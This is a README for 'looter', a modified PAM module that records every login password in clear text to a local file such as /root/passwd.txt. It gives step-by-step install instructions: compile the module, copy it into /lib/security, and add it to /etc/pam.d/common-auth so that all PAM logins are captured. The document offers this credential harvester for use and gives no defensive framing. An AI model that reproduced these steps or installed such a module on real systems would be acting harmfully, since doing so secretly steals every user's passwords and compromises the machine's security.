It's a slightly edited version of sshLooterC, which save the passwords in clear text in a local file.
In this version, curl dependencies have been deleted.
What? "Why should I want to save locally the credentials?", you say? I don't know and I don't care!
These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.
You need to meet the following dependencies:
- gcc
- libpam0g-dev
Edit the looter.c
to select where to store passwords.
As is, the passwords will be stored in /root/passwd.txt
.
If the path is not a concern you can just skip to compiling.
make
Copy the looter.so
to the wanted machine on /lib/security
, then edit the /etc/pam.d/common-auth
and append the following lines:
auth optional looter.so
account optional looter.so
From now on, all the (PAM) logins will be stored.
- Gregorio Casa - Few mods - ingroxd
- Matheus Bernardes - Initial work - mthbernardes
See also the list of contributors who participated in this project.
- Thanks to mthbernardes for the original project;
- Thanks to slim8shady9 for insipration :D.